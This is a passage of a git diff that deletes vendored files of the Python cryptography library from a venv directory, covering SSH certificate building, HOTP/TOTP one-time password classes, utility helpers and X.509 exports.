_key_id - self._valid_principals = _valid_principals - self._valid_for_all_principals = _valid_for_all_principals - self._valid_before = _valid_before - self._valid_after = _valid_after - self._critical_options = _critical_options - self._extensions = _extensions - - def public_key( - self, public_key: SSHCertPublicKeyTypes - ) -> SSHCertificateBuilder: - if not isinstance( - public_key, - ( - ec.EllipticCurvePublicKey, - rsa.RSAPublicKey, - ed25519.Ed25519PublicKey, - ), - ): - raise TypeError("Unsupported key type") - if self._public_key is not None: - raise ValueError("public_key already set") - - return SSHCertificateBuilder( - _public_key=public_key, - _serial=self._serial, - _type=self._type, - _key_id=self._key_id, - _valid_principals=self._valid_principals, - _valid_for_all_principals=self._valid_for_all_principals, - _valid_before=self._valid_before, - _valid_after=self._valid_after, - _critical_options=self._critical_options, - _extensions=self._extensions, - ) - - def serial(self, serial: int) -> SSHCertificateBuilder: - if not isinstance(serial, int): - raise TypeError("serial must be an integer") - if not 0 <= serial < 2**64: - raise ValueError("serial must be between 0 and 2**64") - if self._serial is not None: - raise ValueError("serial already set") - - return SSHCertificateBuilder( - _public_key=self._public_key, - _serial=serial, - _type=self._type, - _key_id=self._key_id, - _valid_principals=self._valid_principals, - _valid_for_all_principals=self._valid_for_all_principals, - _valid_before=self._valid_before, - _valid_after=self._valid_after, - _critical_options=self._critical_options, - _extensions=self._extensions, - ) - - def type(self, type: SSHCertificateType) -> SSHCertificateBuilder: - if not isinstance(type, SSHCertificateType): - raise TypeError("type must be an SSHCertificateType") - if self._type is not None: - raise ValueError("type already set") - - return SSHCertificateBuilder( - _public_key=self._public_key, - _serial=self._serial, - _type=type, - _key_id=self._key_id, - _valid_principals=self._valid_principals, - _valid_for_all_principals=self._valid_for_all_principals, - _valid_before=self._valid_before, - _valid_after=self._valid_after, - _critical_options=self._critical_options, - _extensions=self._extensions, - ) - - def key_id(self, key_id: bytes) -> SSHCertificateBuilder: - if not isinstance(key_id, bytes): - raise TypeError("key_id must be bytes") - if self._key_id is not None: - raise ValueError("key_id already set") - - return SSHCertificateBuilder( - _public_key=self._public_key, - _serial=self._serial, - _type=self._type, - _key_id=key_id, - _valid_principals=self._valid_principals, - _valid_for_all_principals=self._valid_for_all_principals, - _valid_before=self._valid_before, - _valid_after=self._valid_after, - _critical_options=self._critical_options, - _extensions=self._extensions, - ) - - def valid_principals( - self, valid_principals: list[bytes] - ) -> SSHCertificateBuilder: - if self._valid_for_all_principals: - raise ValueError( - "Principals can't be set because the cert is valid " - "for all principals" - ) - if ( - not all(isinstance(x, bytes) for x in valid_principals) - or not valid_principals - ): - raise TypeError( - "principals must be a list of bytes and can't be empty" - ) - if self._valid_principals: - raise ValueError("valid_principals already set") - - if len(valid_principals) > _SSHKEY_CERT_MAX_PRINCIPALS: - raise ValueError( - "Reached or exceeded the maximum number of valid_principals" - ) - - return SSHCertificateBuilder( - _public_key=self._public_key, - _serial=self._serial, - _type=self._type, - _key_id=self._key_id, - _valid_principals=valid_principals, - _valid_for_all_principals=self._valid_for_all_principals, - _valid_before=self._valid_before, - _valid_after=self._valid_after, - _critical_options=self._critical_options, - _extensions=self._extensions, - ) - - def valid_for_all_principals(self): - if self._valid_principals: - raise ValueError( - "valid_principals already set, can't set " - "valid_for_all_principals" - ) - if self._valid_for_all_principals: - raise ValueError("valid_for_all_principals already set") - - return SSHCertificateBuilder( - _public_key=self._public_key, - _serial=self._serial, - _type=self._type, - _key_id=self._key_id, - _valid_principals=self._valid_principals, - _valid_for_all_principals=True, - _valid_before=self._valid_before, - _valid_after=self._valid_after, - _critical_options=self._critical_options, - _extensions=self._extensions, - ) - - def valid_before(self, valid_before: int | float) -> SSHCertificateBuilder: - if not isinstance(valid_before, (int, float)): - raise TypeError("valid_before must be an int or float") - valid_before = int(valid_before) - if valid_before < 0 or valid_before >= 2**64: - raise ValueError("valid_before must [0, 2**64)") - if self._valid_before is not None: - raise ValueError("valid_before already set") - - return SSHCertificateBuilder( - _public_key=self._public_key, - _serial=self._serial, - _type=self._type, - _key_id=self._key_id, - _valid_principals=self._valid_principals, - _valid_for_all_principals=self._valid_for_all_principals, - _valid_before=valid_before, - _valid_after=self._valid_after, - _critical_options=self._critical_options, - _extensions=self._extensions, - ) - - def valid_after(self, valid_after: int | float) -> SSHCertificateBuilder: - if not isinstance(valid_after, (int, float)): - raise TypeError("valid_after must be an int or float") - valid_after = int(valid_after) - if valid_after < 0 or valid_after >= 2**64: - raise ValueError("valid_after must [0, 2**64)") - if self._valid_after is not None: - raise ValueError("valid_after already set") - - return SSHCertificateBuilder( - _public_key=self._public_key, - _serial=self._serial, - _type=self._type, - _key_id=self._key_id, - _valid_principals=self._valid_principals, - _valid_for_all_principals=self._valid_for_all_principals, - _valid_before=self._valid_before, - _valid_after=valid_after, - _critical_options=self._critical_options, - _extensions=self._extensions, - ) - - def add_critical_option( - self, name: bytes, value: bytes - ) -> SSHCertificateBuilder: - if not isinstance(name, bytes) or not isinstance(value, bytes): - raise TypeError("name and value must be bytes") - # This is O(n**2) - if name in [name for name, _ in self._critical_options]: - raise ValueError("Duplicate critical option name") - - return SSHCertificateBuilder( - _public_key=self._public_key, - _serial=self._serial, - _type=self._type, - _key_id=self._key_id, - _valid_principals=self._valid_principals, - _valid_for_all_principals=self._valid_for_all_principals, - _valid_before=self._valid_before, - _valid_after=self._valid_after, - _critical_options=[*self._critical_options, (name, value)], - _extensions=self._extensions, - ) - - def add_extension( - self, name: bytes, value: bytes - ) -> SSHCertificateBuilder: - if not isinstance(name, bytes) or not isinstance(value, bytes): - raise TypeError("name and value must be bytes") - # This is O(n**2) - if name in [name for name, _ in self._extensions]: - raise ValueError("Duplicate extension name") - - return SSHCertificateBuilder( - _public_key=self._public_key, - _serial=self._serial, - _type=self._type, - _key_id=self._key_id, - _valid_principals=self._valid_principals, - _valid_for_all_principals=self._valid_for_all_principals, - _valid_before=self._valid_before, - _valid_after=self._valid_after, - _critical_options=self._critical_options, - _extensions=[*self._extensions, (name, value)], - ) - - def sign(self, private_key: SSHCertPrivateKeyTypes) -> SSHCertificate: - if not isinstance( - private_key, - ( - ec.EllipticCurvePrivateKey, - rsa.RSAPrivateKey, - ed25519.Ed25519PrivateKey, - ), - ): - raise TypeError("Unsupported private key type") - - if self._public_key is None: - raise ValueError("public_key must be set") - - # Not required - serial = 0 if self._serial is None else self._serial - - if self._type is None: - raise ValueError("type must be set") - - # Not required - key_id = b"" if self._key_id is None else self._key_id - - # A zero length list is valid, but means the certificate - # is valid for any principal of the specified type. We require - # the user to explicitly set valid_for_all_principals to get - # that behavior. - if not self._valid_principals and not self._valid_for_all_principals: - raise ValueError( - "valid_principals must be set if valid_for_all_principals " - "is False" - ) - - if self._valid_before is None: - raise ValueError("valid_before must be set") - - if self._valid_after is None: - raise ValueError("valid_after must be set") - - if self._valid_after > self._valid_before: - raise ValueError("valid_after must be earlier than valid_before") - - # lexically sort our byte strings - self._critical_options.sort(key=lambda x: x[0]) - self._extensions.sort(key=lambda x: x[0]) - - key_type = _get_ssh_key_type(self._public_key) - cert_prefix = key_type + _CERT_SUFFIX - - # Marshal the bytes to be signed - nonce = os.urandom(32) - kformat = _lookup_kformat(key_type) - f = _FragList() - f.put_sshstr(cert_prefix) - f.put_sshstr(nonce) - kformat.encode_public(self._public_key, f) - f.put_u64(serial) - f.put_u32(self._type.value) - f.put_sshstr(key_id) - fprincipals = _FragList() - for p in self._valid_principals: - fprincipals.put_sshstr(p) - f.put_sshstr(fprincipals.tobytes()) - f.put_u64(self._valid_after) - f.put_u64(self._valid_before) - fcrit = _FragList() - for name, value in self._critical_options: - fcrit.put_sshstr(name) - if len(value) > 0: - foptval = _FragList() - foptval.put_sshstr(value) - fcrit.put_sshstr(foptval.tobytes()) - else: - fcrit.put_sshstr(value) - f.put_sshstr(fcrit.tobytes()) - fext = _FragList() - for name, value in self._extensions: - fext.put_sshstr(name) - if len(value) > 0: - fextval = _FragList() - fextval.put_sshstr(value) - fext.put_sshstr(fextval.tobytes()) - else: - fext.put_sshstr(value) - f.put_sshstr(fext.tobytes()) - f.put_sshstr(b"") # RESERVED FIELD - # encode CA public key - ca_type = _get_ssh_key_type(private_key) - caformat = _lookup_kformat(ca_type) - caf = _FragList() - caf.put_sshstr(ca_type) - caformat.encode_public(private_key.public_key(), caf) - f.put_sshstr(caf.tobytes()) - # Sigs according to the rules defined for the CA's public key - # (RFC4253 section 6.6 for ssh-rsa, RFC5656 for ECDSA, - # and RFC8032 for Ed25519). - if isinstance(private_key, ed25519.Ed25519PrivateKey): - signature = private_key.sign(f.tobytes()) - fsig = _FragList() - fsig.put_sshstr(ca_type) - fsig.put_sshstr(signature) - f.put_sshstr(fsig.tobytes()) - elif isinstance(private_key, ec.EllipticCurvePrivateKey): - hash_alg = _get_ec_hash_alg(private_key.curve) - signature = private_key.sign(f.tobytes(), ec.ECDSA(hash_alg)) - r, s = asym_utils.decode_dss_signature(signature) - fsig = _FragList() - fsig.put_sshstr(ca_type) - fsigblob = _FragList() - fsigblob.put_mpint(r) - fsigblob.put_mpint(s) - fsig.put_sshstr(fsigblob.tobytes()) - f.put_sshstr(fsig.tobytes()) - - else: - assert isinstance(private_key, rsa.RSAPrivateKey) - # Just like Golang, we're going to use SHA512 for RSA - # https://cs.opensource.google/go/x/crypto/+/refs/tags/ - # v0.4.0:ssh/certs.go;l=445 - # RFC 8332 defines SHA256 and 512 as options - fsig = _FragList() - fsig.put_sshstr(_SSH_RSA_SHA512) - signature = private_key.sign( - f.tobytes(), padding.PKCS1v15(), hashes.SHA512() - ) - fsig.put_sshstr(signature) - f.put_sshstr(fsig.tobytes()) - - cert_data = binascii.b2a_base64(f.tobytes()).strip() - # load_ssh_public_identity returns a union, but this is - # guaranteed to be an SSHCertificate, so we cast to make - # mypy happy. - return typing.cast( - SSHCertificate, - load_ssh_public_identity(b"".join([cert_prefix, b" ", cert_data])), - ) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/twofactor/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/twofactor/__init__.py deleted file mode 100644 index c1af423004863e7db3e163f61a6baa4ddc157351..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/twofactor/__init__.py +++ /dev/null @@ -1,9 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - - -class InvalidToken(Exception): - pass diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/twofactor/hotp.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/twofactor/hotp.py deleted file mode 100644 index 21fb000499c43cb8492ce60d9a2c5ed6fab704e2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/twofactor/hotp.py +++ /dev/null @@ -1,101 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import base64 -import typing -from urllib.parse import quote, urlencode - -from cryptography.hazmat.primitives import constant_time, hmac -from cryptography.hazmat.primitives.hashes import SHA1, SHA256, SHA512 -from cryptography.hazmat.primitives.twofactor import InvalidToken -from cryptography.utils import Buffer - -HOTPHashTypes = typing.Union[SHA1, SHA256, SHA512] - - -def _generate_uri( - hotp: HOTP, - type_name: str, - account_name: str, - issuer: str | None, - extra_parameters: list[tuple[str, int]], -) -> str: - parameters = [ - ("digits", hotp._length), - ("secret", base64.b32encode(hotp._key)), - ("algorithm", hotp._algorithm.name.upper()), - ] - - if issuer is not None: - parameters.append(("issuer", issuer)) - - parameters.extend(extra_parameters) - - label = ( - f"{quote(issuer)}:{quote(account_name)}" - if issuer - else quote(account_name) - ) - return f"otpauth://{type_name}/{label}?{urlencode(parameters)}" - - -class HOTP: - def __init__( - self, - key: Buffer, - length: int, - algorithm: HOTPHashTypes, - backend: typing.Any = None, - enforce_key_length: bool = True, - ) -> None: - if len(key) < 16 and enforce_key_length is True: - raise ValueError("Key length has to be at least 128 bits.") - - if not isinstance(length, int): - raise TypeError("Length parameter must be an integer type.") - - if length < 6 or length > 8: - raise ValueError("Length of HOTP has to be between 6 and 8.") - - if not isinstance(algorithm, (SHA1, SHA256, SHA512)): - raise TypeError("Algorithm must be SHA1, SHA256 or SHA512.") - - self._key = key - self._length = length - self._algorithm = algorithm - - def generate(self, counter: int) -> bytes: - if not isinstance(counter, int): - raise TypeError("Counter parameter must be an integer type.") - - truncated_value = self._dynamic_truncate(counter) - hotp = truncated_value % (10**self._length) - return "{0:0{1}}".format(hotp, self._length).encode() - - def verify(self, hotp: bytes, counter: int) -> None: - if not constant_time.bytes_eq(self.generate(counter), hotp): - raise InvalidToken("Supplied HOTP value does not match.") - - def _dynamic_truncate(self, counter: int) -> int: - ctx = hmac.HMAC(self._key, self._algorithm) - - try: - ctx.update(counter.to_bytes(length=8, byteorder="big")) - except OverflowError: - raise ValueError(f"Counter must be between 0 and {2**64 - 1}.") - - hmac_value = ctx.finalize() - - offset = hmac_value[len(hmac_value) - 1] & 0b1111 - p = hmac_value[offset : offset + 4] - return int.from_bytes(p, byteorder="big") & 0x7FFFFFFF - - def get_provisioning_uri( - self, account_name: str, counter: int, issuer: str | None - ) -> str: - return _generate_uri( - self, "hotp", account_name, issuer, [("counter", int(counter))] - ) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/twofactor/totp.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/twofactor/totp.py deleted file mode 100644 index 10c725cc0ab0c9fff5a978a3d5278ccce52d4e67..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/twofactor/totp.py +++ /dev/null @@ -1,56 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import typing - -from cryptography.hazmat.primitives import constant_time -from cryptography.hazmat.primitives.twofactor import InvalidToken -from cryptography.hazmat.primitives.twofactor.hotp import ( - HOTP, - HOTPHashTypes, - _generate_uri, -) -from cryptography.utils import Buffer - - -class TOTP: - def __init__( - self, - key: Buffer, - length: int, - algorithm: HOTPHashTypes, - time_step: int, - backend: typing.Any = None, - enforce_key_length: bool = True, - ): - self._time_step = time_step - self._hotp = HOTP( - key, length, algorithm, enforce_key_length=enforce_key_length - ) - - def generate(self, time: int | float) -> bytes: - if not isinstance(time, (int, float)): - raise TypeError( - "Time parameter must be an integer type or float type." - ) - - counter = int(time / self._time_step) - return self._hotp.generate(counter) - - def verify(self, totp: bytes, time: int) -> None: - if not constant_time.bytes_eq(self.generate(time), totp): - raise InvalidToken("Supplied TOTP value does not match.") - - def get_provisioning_uri( - self, account_name: str, issuer: str | None - ) -> str: - return _generate_uri( - self._hotp, - "totp", - account_name, - issuer, - [("period", int(self._time_step))], - ) diff --git a/venv/Lib/site-packages/cryptography/py.typed b/venv/Lib/site-packages/cryptography/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/cryptography/utils.py b/venv/Lib/site-packages/cryptography/utils.py deleted file mode 100644 index 90bd42d94e0ff1723a400c55c24339b18fff4416..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/utils.py +++ /dev/null @@ -1,136 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import enum -import sys -import types -import typing -import warnings -from collections.abc import Sequence - - -# We use a UserWarning subclass, instead of DeprecationWarning, because CPython -# decided deprecation warnings should be invisible by default. -class CryptographyDeprecationWarning(UserWarning): - pass - - -# Several APIs were deprecated with no specific end-of-life date because of the -# ubiquity of their use. They should not be removed until we agree on when that -# cycle ends. -DeprecatedIn36 = CryptographyDeprecationWarning -DeprecatedIn40 = CryptographyDeprecationWarning -DeprecatedIn41 = CryptographyDeprecationWarning -DeprecatedIn42 = CryptographyDeprecationWarning -DeprecatedIn43 = CryptographyDeprecationWarning -DeprecatedIn47 = CryptographyDeprecationWarning -DeprecatedIn50 = CryptographyDeprecationWarning - - -# If you're wondering why we don't use `Buffer`, it's because `Buffer` would -# be more accurately named: Bufferable. It means something which has an -# `__buffer__`. Which means you can't actually treat the result as a buffer -# (and do things like take a `len()`). -Buffer = typing.Union[bytes, bytearray, memoryview] - - -def _check_bytes(name: str, value: bytes) -> None: - if not isinstance(value, bytes): - raise TypeError(f"{name} must be bytes") - - -def _check_byteslike(name: str, value: Buffer) -> None: - if isinstance(value, (bytes, bytearray, memoryview)): - return - try: - memoryview(value) - except TypeError: - raise TypeError(f"{name} must be bytes-like") - - -def int_to_bytes(integer: int, length: int | None = None) -> bytes: - if length == 0: - raise ValueError("length argument can't be 0") - return integer.to_bytes( - length or (integer.bit_length() + 7) // 8 or 1, "big" - ) - - -class InterfaceNotImplemented(Exception): - pass - - -class _DeprecatedValue: - def __init__(self, value: object, message: str, warning_class): - self.value = value - self.message = message - self.warning_class = warning_class - - -class _ModuleWithDeprecations(types.ModuleType): - def __init__(self, module: types.ModuleType): - super().__init__(module.__name__) - self.__dict__["_module"] = module - - def __getattr__(self, name: str) -> typing.Any: - obj = getattr(self._module, name) - if isinstance(obj, _DeprecatedValue): - warnings.warn(obj.message, obj.warning_class, stacklevel=2) - obj = obj.value - else: - # Cache non-deprecated attributes in our own `__dict__` so that - # subsequent lookups are ordinary module attribute accesses and - # don't pay for this `__getattr__` (which would otherwise defeat - # CPython's LOAD_ATTR module caching for every attribute of the - # module). `__setattr__` and `__delattr__` keep the cache - # coherent. - self.__dict__[name] = obj - return obj - - def __setattr__(self, attr: str, value: object) -> None: - if isinstance(value, _DeprecatedValue): - self.__dict__.pop(attr, None) - else: - self.__dict__[attr] = value - setattr(self._module, attr, value) - - def __delattr__(self, attr: str) -> None: - obj = getattr(self._module, attr) - if isinstance(obj, _DeprecatedValue): - warnings.warn(obj.message, obj.warning_class, stacklevel=2) - - self.__dict__.pop(attr, None) - delattr(self._module, attr) - - def __dir__(self) -> Sequence[str]: - return ["_module", *dir(self._module)] - - -def deprecated( - value: object, - module_name: str, - message: str, - warning_class: type[Warning], - name: str | None = None, -) -> _DeprecatedValue: - module = sys.modules[module_name] - if not isinstance(module, _ModuleWithDeprecations): - sys.modules[module_name] = module = _ModuleWithDeprecations(module) - dv = _DeprecatedValue(value, message, warning_class) - # Maintain backwards compatibility with `name is None` for pyOpenSSL. - if name is not None: - setattr(module, name, dv) - return dv - - -# Python 3.10 changed representation of enums. We use well-defined object -# representation and string representation from Python 3.9. -class Enum(enum.Enum): - def __repr__(self) -> str: - return f"<{self.__class__.__name__}.{self._name_}: {self._value_!r}>" - - def __str__(self) -> str: - return f"{self.__class__.__name__}.{self._name_}" diff --git a/venv/Lib/site-packages/cryptography/x509/__init__.py b/venv/Lib/site-packages/cryptography/x509/__init__.py deleted file mode 100644 index 6442b0096c1ca70c15de2098b51c1fe5c2052160..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/x509/__init__.py +++ /dev/null @@ -1,270 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.x509 import certificate_transparency, oid, verification -from cryptography.x509.base import ( - Attribute, - AttributeNotFound, - Attributes, - Certificate, - CertificateBuilder, - CertificateRevocationList, - CertificateRevocationListBuilder, - CertificateSigningRequest, - CertificateSigningRequestBuilder, - InvalidVersion, - RevokedCertificate, - RevokedCertificateBuilder, - Version, - load_der_x509_certificate, - load_der_x509_crl, - load_der_x509_csr, - load_pem_x509_certificate, - load_pem_x509_certificates, - load_pem_x509_crl, - load_pem_x509_csr, - random_serial_number, -) -from cryptography.x509.extensions import ( - AccessDescription, - Admission, - Admissions, - AuthorityInformationAccess, - AuthorityKeyIdentifier, - BasicConstraints, - CertificateIssuer, - CertificatePolicies, - CRLDistributionPoints, - CRLNumber, - CRLReason, - DeltaCRLIndicator, - DistributionPoint, - DuplicateExtension, - ExtendedKeyUsage, - Extension, - ExtensionNotFound, - Extensions, - ExtensionType, - FreshestCRL, - GeneralNames, - InhibitAnyPolicy, - InvalidityDate, - IssuerAlternativeName, - IssuingDistributionPoint, - KeyUsage, - MSCertificateTemplate, - NameConstraints, - NamingAuthority, - NoticeReference, - OCSPAcceptableResponses, - OCSPNoCheck, - OCSPNonce, - PolicyConstraints, - PolicyInformation, - PrecertificateSignedCertificateTimestamps, - PrecertPoison, - PrivateKeyUsagePeriod, - ProfessionInfo, - ReasonFlags, - SignedCertificateTimestamps, - SubjectAlternativeName, - SubjectInformationAccess, - SubjectKeyIdentifier, - TLSFeature, - TLSFeatureType, - UnrecognizedExtension, - UserNotice, -) -from cryptography.x509.general_name import ( - DirectoryName, - DNSName, - GeneralName, - IPAddress, - OtherName, - RegisteredID, - RFC822Name, - UniformResourceIdentifier, - UnsupportedGeneralNameType, -) -from cryptography.x509.name import ( - Name, - NameAttribute, - RelativeDistinguishedName, -) -from cryptography.x509.oid import ( - AuthorityInformationAccessOID, - CertificatePoliciesOID, - CRLEntryExtensionOID, - ExtendedKeyUsageOID, - ExtensionOID, - NameOID, - ObjectIdentifier, - PublicKeyAlgorithmOID, - SignatureAlgorithmOID, -) - -OID_AUTHORITY_INFORMATION_ACCESS = ExtensionOID.AUTHORITY_INFORMATION_ACCESS -OID_AUTHORITY_KEY_IDENTIFIER = ExtensionOID.AUTHORITY_KEY_IDENTIFIER -OID_BASIC_CONSTRAINTS = ExtensionOID.BASIC_CONSTRAINTS -OID_CERTIFICATE_POLICIES = ExtensionOID.CERTIFICATE_POLICIES -OID_CRL_DISTRIBUTION_POINTS = ExtensionOID.CRL_DISTRIBUTION_POINTS -OID_EXTENDED_KEY_USAGE = ExtensionOID.EXTENDED_KEY_USAGE -OID_FRESHEST_CRL = ExtensionOID.FRESHEST_CRL -OID_INHIBIT_ANY_POLICY = ExtensionOID.INHIBIT_ANY_POLICY -OID_ISSUER_ALTERNATIVE_NAME = ExtensionOID.ISSUER_ALTERNATIVE_NAME -OID_KEY_USAGE = ExtensionOID.KEY_USAGE -OID_PRIVATE_KEY_USAGE_PERIOD = ExtensionOID.PRIVATE_KEY_USAGE_PERIOD -OID_NAME_CONSTRAINTS = ExtensionOID.NAME_CONSTRAINTS -OID_OCSP_NO_CHECK = ExtensionOID.OCSP_NO_CHECK -OID_POLICY_CONSTRAINTS = ExtensionOID.POLICY_CONSTRAINTS -OID_POLICY_MAPPINGS = ExtensionOID.POLICY_MAPPINGS -OID_SUBJECT_ALTERNATIVE_NAME = ExtensionOID.SUBJECT_ALTERNATIVE_NAME -OID_SUBJECT_DIRECTORY_ATTRIBUTES = ExtensionOID.SUBJECT_DIRECTORY_ATTRIBUTES -OID_SUBJECT_INFORMATION_ACCESS = ExtensionOID.SUBJECT_INFORMATION_ACCESS -OID_SUBJECT_KEY_IDENTIFIER = ExtensionOID.SUBJECT_KEY_IDENTIFIER - -OID_DSA_WITH_SHA1 = SignatureAlgorithmOID.DSA_WITH_SHA1 -OID_DSA_WITH_SHA224 = SignatureAlgorithmOID.DSA_WITH_SHA224 -OID_DSA_WITH_SHA256 = SignatureAlgorithmOID.DSA_WITH_SHA256 -OID_ECDSA_WITH_SHA1 = SignatureAlgorithmOID.ECDSA_WITH_SHA1 -OID_ECDSA_WITH_SHA224 = SignatureAlgorithmOID.ECDSA_WITH_SHA224 -OID_ECDSA_WITH_SHA256 = SignatureAlgorithmOID.ECDSA_WITH_SHA256 -OID_ECDSA_WITH_SHA384 = SignatureAlgorithmOID.ECDSA_WITH_SHA384 -OID_ECDSA_WITH_SHA512 = SignatureAlgorithmOID.ECDSA_WITH_SHA512 -OID_RSA_WITH_MD5 = SignatureAlgorithmOID.RSA_WITH_MD5 -OID_RSA_WITH_SHA1 = SignatureAlgorithmOID.RSA_WITH_SHA1 -OID_RSA_WITH_SHA224 = SignatureAlgorithmOID.RSA_WITH_SHA224 -OID_RSA_WITH_SHA256 = SignatureAlgorithmOID.RSA_WITH_SHA256 -OID_RSA_WITH_SHA384 = SignatureAlgorithmOID.RSA_WITH_SHA384 -OID_RSA_WITH_SHA512 = SignatureAlgorithmOID.RSA_WITH_SHA512 -OID_RSASSA_PSS = SignatureAlgorithmOID.RSASSA_PSS - -OID_COMMON_NAME = NameOID.COMMON_NAME -OID_COUNTRY_NAME = NameOID.COUNTRY_NAME -OID_DOMAIN_COMPONENT = NameOID.DOMAIN_COMPONENT -OID_DN_QUALIFIER = NameOID.DN_QUALIFIER -OID_EMAIL_ADDRESS = NameOID.EMAIL_ADDRESS -OID_GENERATION_QUALIFIER = NameOID.GENERATION_QUALIFIER -OID_GIVEN_NAME = NameOID.GIVEN_NAME -OID_LOCALITY_NAME = NameOID.LOCALITY_NAME -OID_ORGANIZATIONAL_UNIT_NAME = NameOID.ORGANIZATIONAL_UNIT_NAME -OID_ORGANIZATION_NAME = NameOID.ORGANIZATION_NAME -OID_PSEUDONYM = NameOID.PSEUDONYM -OID_SERIAL_NUMBER = NameOID.SERIAL_NUMBER -OID_STATE_OR_PROVINCE_NAME = NameOID.STATE_OR_PROVINCE_NAME -OID_SURNAME = NameOID.SURNAME -OID_TITLE = NameOID.TITLE - -OID_CLIENT_AUTH = ExtendedKeyUsageOID.CLIENT_AUTH -OID_CODE_SIGNING = ExtendedKeyUsageOID.CODE_SIGNING -OID_EMAIL_PROTECTION = ExtendedKeyUsageOID.EMAIL_PROTECTION -OID_OCSP_SIGNING = ExtendedKeyUsageOID.OCSP_SIGNING -OID_SERVER_AUTH = ExtendedKeyUsageOID.SERVER_AUTH -OID_TIME_STAMPING = ExtendedKeyUsageOID.TIME_STAMPING - -OID_ANY_POLICY = CertificatePoliciesOID.ANY_POLICY -OID_CPS_QUALIFIER = CertificatePoliciesOID.CPS_QUALIFIER -OID_CPS_USER_NOTICE = CertificatePoliciesOID.CPS_USER_NOTICE - -OID_CERTIFICATE_ISSUER = CRLEntryExtensionOID.CERTIFICATE_ISSUER -OID_CRL_REASON = CRLEntryExtensionOID.CRL_REASON -OID_INVALIDITY_DATE = CRLEntryExtensionOID.INVALIDITY_DATE - -OID_CA_ISSUERS = AuthorityInformationAccessOID.CA_ISSUERS -OID_OCSP = AuthorityInformationAccessOID.OCSP - -__all__ = [ - "OID_CA_ISSUERS", - "OID_OCSP", - "AccessDescription", - "Admission", - "Admissions", - "Attribute", - "AttributeNotFound", - "Attributes", - "AuthorityInformationAccess", - "AuthorityKeyIdentifier", - "BasicConstraints", - "CRLDistributionPoints", - "CRLNumber", - "CRLReason", - "Certificate", - "CertificateBuilder", - "CertificateIssuer", - "CertificatePolicies", - "CertificateRevocationList", - "CertificateRevocationListBuilder", - "CertificateSigningRequest", - "CertificateSigningRequestBuilder", - "DNSName", - "DeltaCRLIndicator", - "DirectoryName", - "DistributionPoint", - "DuplicateExtension", - "ExtendedKeyUsage", - "Extension", - "ExtensionNotFound", - "ExtensionType", - "Extensions", - "FreshestCRL", - "GeneralName", - "GeneralNames", - "IPAddress", - "InhibitAnyPolicy", - "InvalidVersion", - "InvalidityDate", - "IssuerAlternativeName", - "IssuingDistributionPoint", - "KeyUsage", - "MSCertificateTemplate", - "Name", - "NameAttribute", - "NameConstraints", - "NameOID", - "NamingAuthority", - "NoticeReference", - "OCSPAcceptableResponses", - "OCSPNoCheck", - "OCSPNonce", - "ObjectIdentifier", - "OtherName", - "PolicyConstraints", - "PolicyInformation", - "PrecertPoison", - "PrecertificateSignedCertificateTimestamps", - "PrivateKeyUsagePeriod", - "ProfessionInfo", - "PublicKeyAlgorithmOID", - "RFC822Name", - "ReasonFlags", - "RegisteredID", - "RelativeDistinguishedName", - "RevokedCertificate", - "RevokedCertificateBuilder", - "SignatureAlgorithmOID", - "SignedCertificateTimestamps", - "SubjectAlternativeName", - "SubjectInformationAccess", - "SubjectKeyIdentifier", - "TLSFeature", - "TLSFeatureType", - "UniformResourceIdentifier", - "UnrecognizedExtension", - "UnsupportedGeneralNameType", - "UserNotice", - "Version", - "certificate_transparency", - "load_der_x509_certificate", - "load_der_x509_crl", - "load_der_x509_csr", - "load_pem_x509_certificate", - "load_pem_x509_certificates", - "load_pem_x509_crl", - "load_pem_x509_csr", - "oid", - "random_serial_number", - "verification", -] diff --git a/venv/Lib/site-packages/cryptography/x509/base.py b/venv/Lib/site-packages/cryptography/x509/base.py deleted file mode 100644 index 3ded5dc705a4faa86e48aa0fe0712c8b22bdb45e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/x509/base.py +++ /dev/null @@ -1,834 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import datetime -import os -import typing -from collections.abc import Iterable - -from cryptography import utils -from cryptography.hazmat.bindings._rust import x509 as rust_x509 -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives.asymmetric import ( - dsa, - ec, - ed448, - ed25519, - mldsa, - mlkem, - padding, - rsa, - x448, - x25519, -) -from cryptography.hazmat.primitives.asymmetric.types import ( - CertificateIssuerPrivateKeyTypes, - CertificatePublicKeyTypes, -) -from cryptography.x509.extensions import ( - Extension, - ExtensionType, - _make_sequence_methods, -) -from cryptography.x509.name import Name, _ASN1Type -from cryptography.x509.oid import ObjectIdentifier - -_EARLIEST_UTC_TIME = datetime.datetime(1950, 1, 1) - -# This must be kept in sync with sign.rs's list of allowable types in -# identify_hash_type -_AllowedHashTypes = typing.Union[ - hashes.SHA224, - hashes.SHA256, - hashes.SHA384, - hashes.SHA512, - hashes.SHA3_224, - 